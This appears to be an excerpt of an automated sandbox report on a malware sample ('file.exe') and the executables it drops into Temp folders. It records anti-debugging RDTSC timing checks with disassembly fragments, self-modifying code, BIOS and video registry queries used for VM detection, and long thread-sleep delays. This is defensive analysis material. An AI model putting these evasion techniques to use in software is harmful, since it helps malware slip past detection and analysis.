Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50C08 second address: 4E50C43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4F03EA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F5DA4F03EA1h 0x0000000f xchg eax, ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov ebx, 1BC7B2AEh 0x00000018 mov esi, ebx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50C43 second address: 4E50C48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50C48 second address: 4E50C79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F5DA4F03E9Ch 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5DA4F03EA8h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50C79 second address: 4E50C7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50C7F second address: 4E50CB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4F03E9Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebx 0x0000000c pushad 0x0000000d movzx eax, di 0x00000010 mov ax, di 0x00000013 popad 0x00000014 push dword ptr [ebp+14h] 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a call 00007F5DA4F03E9Eh 0x0000001f pop eax 0x00000020 movsx edi, si 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50CB5 second address: 4E50CBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50CBB second address: 4E50CBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50D1C second address: 4E50D22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50D22 second address: 4E50D26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50D26 second address: 4E50D2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50D2A second address: 4E50D4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov cx, FF11h 0x00000010 call 00007F5DA4F03E9Eh 0x00000015 pop esi 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50D4A second address: 4E50D65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5DA5418067h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50D65 second address: 4E50DAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4F03EA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esp, ebp 0x0000000d jmp 00007F5DA4F03E9Eh 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F5DA4F03EA7h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50DAE second address: 4E50DB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60AB6 second address: 4E60AC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4F03E9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60AC5 second address: 4E60AFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA5418069h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov bh, ah 0x0000000d mov dh, 4Eh 0x0000000f popad 0x00000010 push eax 0x00000011 jmp 00007F5DA541805Bh 0x00000016 xchg eax, ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60AFC second address: 4E60B02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60B02 second address: 4E60B08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60B08 second address: 4E60B0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60B0C second address: 4E60B19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE09C0 second address: 4EE0A5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4F03EA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F5DA4F03EA7h 0x00000011 add eax, 59F7980Eh 0x00000017 jmp 00007F5DA4F03EA9h 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007F5DA4F03EA0h 0x00000023 and ch, FFFFFF88h 0x00000026 jmp 00007F5DA4F03E9Bh 0x0000002b popfd 0x0000002c popad 0x0000002d xchg eax, ebp 0x0000002e pushad 0x0000002f mov dx, cx 0x00000032 pushad 0x00000033 push ecx 0x00000034 pop edi 0x00000035 popad 0x00000036 popad 0x00000037 mov ebp, esp 0x00000039 jmp 00007F5DA4F03EA4h 0x0000003e pop ebp 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0A5F second address: 4EE0A65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0A65 second address: 4EE0A6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0E4E second address: 4ED0E53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0E53 second address: 4ED0E59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0E59 second address: 4ED0E67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0E67 second address: 4ED0E6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0E6B second address: 4ED0E71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0E71 second address: 4ED0EA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4F03EA5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov esi, 1BDD60F3h 0x00000011 mov edx, ecx 0x00000013 popad 0x00000014 pop ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 movsx edx, cx 0x0000001b mov dx, cx 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0C8D second address: 4ED0D18 instructions: 0x00000000 rdtsc 0x00000002 mov cl, bl 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop ebx 0x00000009 pushfd 0x0000000a jmp 00007F5DA541805Ch 0x0000000f jmp 00007F5DA5418065h 0x00000014 popfd 0x00000015 popad 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 call 00007F5DA541805Ch 0x0000001e movzx esi, bx 0x00000021 pop ebx 0x00000022 popad 0x00000023 push eax 0x00000024 pushad 0x00000025 mov cl, 23h 0x00000027 mov bh, 6Eh 0x00000029 popad 0x0000002a xchg eax, ebp 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e jmp 00007F5DA541805Fh 0x00000033 pushfd 0x00000034 jmp 00007F5DA5418068h 0x00000039 jmp 00007F5DA5418065h 0x0000003e popfd 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0106 second address: 4EE0121 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4F03EA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0121 second address: 4EE0127 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0127 second address: 4EE012B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE012B second address: 4EE012F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE012F second address: 4EE0167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F5DA4F03EA7h 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 call 00007F5DA4F03EA2h 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0167 second address: 4EE017C instructions: 0x00000000 rdtsc 0x00000002 call 00007F5DA541805Bh 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE017C second address: 4EE01A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push dword ptr [ebp+0Ch] 0x00000009 pushad 0x0000000a mov dl, 1Ch 0x0000000c mov ebx, eax 0x0000000e popad 0x0000000f push dword ptr [ebp+08h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F5DA4F03EA7h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE01A7 second address: 4EE01F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push 34497C94h 0x0000000f pushad 0x00000010 movzx ecx, bx 0x00000013 mov dx, BD7Ah 0x00000017 popad 0x00000018 xor dword ptr [esp], 34487C96h 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 jmp 00007F5DA541805Ah 0x00000027 pushfd 0x00000028 jmp 00007F5DA5418062h 0x0000002d adc al, FFFFFFE8h 0x00000030 jmp 00007F5DA541805Bh 0x00000035 popfd 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0FB43 second address: D0FB47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0FB47 second address: D0FB4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80419 second address: 4E8041F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8041F second address: 4E80423 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80423 second address: 4E80432 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80432 second address: 4E80436 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80436 second address: 4E8043C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8043C second address: 4E80442 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80442 second address: 4E8045B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4F03E9Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8045B second address: 4E80478 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA5418069h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80478 second address: 4E80488 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5DA4F03E9Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80488 second address: 4E804E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA541805Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e mov ecx, 43EA959Bh 0x00000013 jmp 00007F5DA5418060h 0x00000018 popad 0x00000019 push FFFFFFFEh 0x0000001b jmp 00007F5DA5418060h 0x00000020 push 0D133D63h 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 pushfd 0x00000029 jmp 00007F5DA541805Dh 0x0000002e jmp 00007F5DA541805Bh 0x00000033 popfd 0x00000034 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B5ECE0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D2BF8C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D87D4F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 65ECE0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 82BF8C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 887D4F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Special instruction interceptor: First address: DC7CA9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Special instruction interceptor: First address: DC7BE6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe	Special instruction interceptor: First address: FECEDE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe	Special instruction interceptor: First address: D07A9D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe	Special instruction interceptor: First address: EB23B5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe	Special instruction interceptor: First address: ED9C06 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe	Special instruction interceptor: First address: EB7A23 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe	Special instruction interceptor: First address: 5BF87F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe	Special instruction interceptor: First address: 5BF97C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe	Special instruction interceptor: First address: 5BD5CA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe	Special instruction interceptor: First address: 76EF35 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04EE0174 rdtsc

0_2_04EE0174

Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe

7_2_00E47CD0

Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.dll			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes	graph_11-22696
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes	graph_8-22679

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8152	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8124	Thread sleep count: 41 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8124	Thread sleep time: -82041s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8068	Thread sleep count: 173 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8068	Thread sleep time: -5190000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8144	Thread sleep count: 43 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8144	Thread sleep time: -86043s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8132	Thread sleep count: 40 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8132	Thread sleep time: -80040s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8128	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8128	Thread sleep time: -78039s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8136	Thread sleep count: 42 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8136	Thread sleep time: -84042s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8068	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe TID: 6336	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe TID: 7352	Thread sleep count: 94 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe TID: 7352	Thread sleep time: -11280000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe TID: 7352	Thread sleep time: -119997s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe TID: 7352	Thread sleep time: -119998s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe TID: 7352	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe TID: 7632	Thread sleep count: 77 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe TID: 7632	Thread sleep time: -9240000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe TID: 7632	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe TID: 5676	Thread sleep time: -1440000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe TID: 5676	Thread sleep time: -120000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\WzT4xP1v\LOVI3rtjoHDpADyV.exe TID: 12700	Thread sleep time: -240000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\WzT4xP1v\LOVI3rtjoHDpADyV.exe TID: 12700	Thread sleep time: -120000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: 7_2_00E4FD87 FindClose,FindFirstFileExW,GetLastError,	7_2_00E4FD87
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: 7_2_00E4FE63 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	7_2_00E4FE63
Source: C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe	Code function: 7_2_00E4FDA7 FindFirstFileExW,	7_2_00E4FDA7
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: 8_2_0096FD87 FindClose,FindFirstFileExW,GetLastError,	8_2_0096FD87
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: 8_2_0096FDA7 FindFirstFileExW,	8_2_0096FDA7
Source: C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe	Code function: 8_2_0096FE63 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	8_2_0096FE63
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: 11_2_00B4FD87 FindClose,FindFirstFileExW,GetLastError,	11_2_00B4FD87
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: 11_2_00B4FDA7 FindFirstFileExW,	11_2_00B4FDA7
Source: C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe	Code function: 11_2_00B4FE63 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	11_2_00B4FE63
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Code function: 12_2_0040367D GetFileAttributesW,SetLastError,FindFirstFileW,FindClose,CompareFileTime,	12_2_0040367D
Source: C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe	Code function: 12_2_004031DC FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,	12_2_004031DC
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: 14_2_0065FD87 FindClose,FindFirstFileExW,GetLastError,	14_2_0065FD87
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: 14_2_0065FE63 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	14_2_0065FE63
Source: C:\Users\user\AppData\Local\Temp\zNM737nW\WT0pal2n7uSoixsQ.exe	Code function: 14_2_0065FDA7 FindFirstFileExW,	14_2_0065FDA7

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
